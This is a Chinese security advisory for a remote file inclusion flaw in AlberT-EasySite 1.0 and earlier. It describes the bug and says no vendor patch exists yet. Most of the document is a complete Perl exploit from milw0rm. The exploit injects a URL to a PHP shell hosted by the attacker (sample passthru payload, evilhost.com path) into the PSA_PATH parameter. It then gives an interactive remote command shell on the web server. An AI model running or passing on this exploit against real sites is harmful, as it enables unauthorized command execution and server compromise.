发布日期：2006-08-27
更新日期：2006-08-29

受影响系统：

AlberT AlberT-EasySite 1.0
AlberT AlberT-EasySite 0.8.12

描述：

---

BUGTRAQ  ID: 19729

AlberT-EasySite是一款基于PHP的站点生成系统。

AlberT-EasySite在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

AlberT-EasySite没有正确地验证AES/modules/auth/phpsecurityadmin/include/logout.php文件中对PSA_PATH参数的输入，允许攻击者通过包含本地或外部资源执行任意PHP代码。成功攻击要求打开了register_globals。

<*来源：Kacper （kacper1964@yahoo.pl）
  
  链接：http://secunia.com/advisories/21651/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
use LWP::UserAgent;
#/*
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- AES: AlberT-EasySite <= 1.0a5 Remote File Include Vulnerability
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: AES: AlberT-EasySite v. 1.0a5
#- [Script site: http://superalbert.it/download/AlberT-EasySite/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-          Find by: Kacper (a.k.a Rahim)
#+          
#-          Contact: kacper1964@yahoo.pl  
#-                        or  
#-           http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
#-
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#-            Z Dedykacja dla osoby,
#-         bez ktorej nie mogl bym zyc...
#-           K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# usage:
# perl exploit.pl <AES Locaction> <shell location> <shell cmd>
#
# perl exploit.pl http://site.com/[AES_Path]/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
#
$sciezka = $ARGV[0];

$sciezkacmd = $ARGV[1];

$komenda = $ARGV[2];

if($sciezka!~/http:\/\// || $sciezkacmd!~/http:\/\// || !$komenda){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET=>$sciezka.'AES/modules/auth/phpsecurityadmin/include/logout.php?PSA_PATH='.$sciezkacmd.'?&'.$komenda.'='.$cmd)or die "\nCouldNot connect\n";
$res = $xpl->request($req);

$return = $res->content;
$return =~ tr/[\n]/[&#234;]/;

if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/)

{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}

elsif ($return =~/^<br.\/>.<b>Warning/) {print "\nInvalid Command\n\n"}

if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{

$finreturn = $1;
$finreturn=~ tr/[&#234;]/[\n]/;
print "\r\n$finreturn\n\r";
last;


}
else {print "[shell] \$";}}}last;

sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "+          - - [DEVIL TEAM THE BEST POLISH TEAM] - -         +\n";
print "+ AlberT-EasySite <= 1.0a5 Remote File Include Vulnerability +\n";
print "+                http://www.rahim.webd.pl/                   +\n";
print "+                Find by: Kacper (a.k.a Rahim)               +\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}
sub usage()
{
head();
print " Usage: perl exploit.pl <AES Locaction> <shell location> <shell cmd>\r\n\n";
print " <AES Locaction> - Full path to AES ex: http://www.site.com/AES/\r\n";
print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n";
print " <shell cmd> - Command variable used in php shell \r\n";
print " ============================================================================\r\n";
print "                         Find by: Kacper (a.k.a Rahim)                       \r\n";
print "                           http://www.rahim.webd.pl/                         \r\n";
print "                          Special Greetz: DragonHeart ;-)                    \r\n";
print " ============================================================================\r\n";

exit();
}

# milw0rm.com [2006-08-27]

建议：

---

厂商补丁：

AlberT
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://freshmeat.net/projects/aes/

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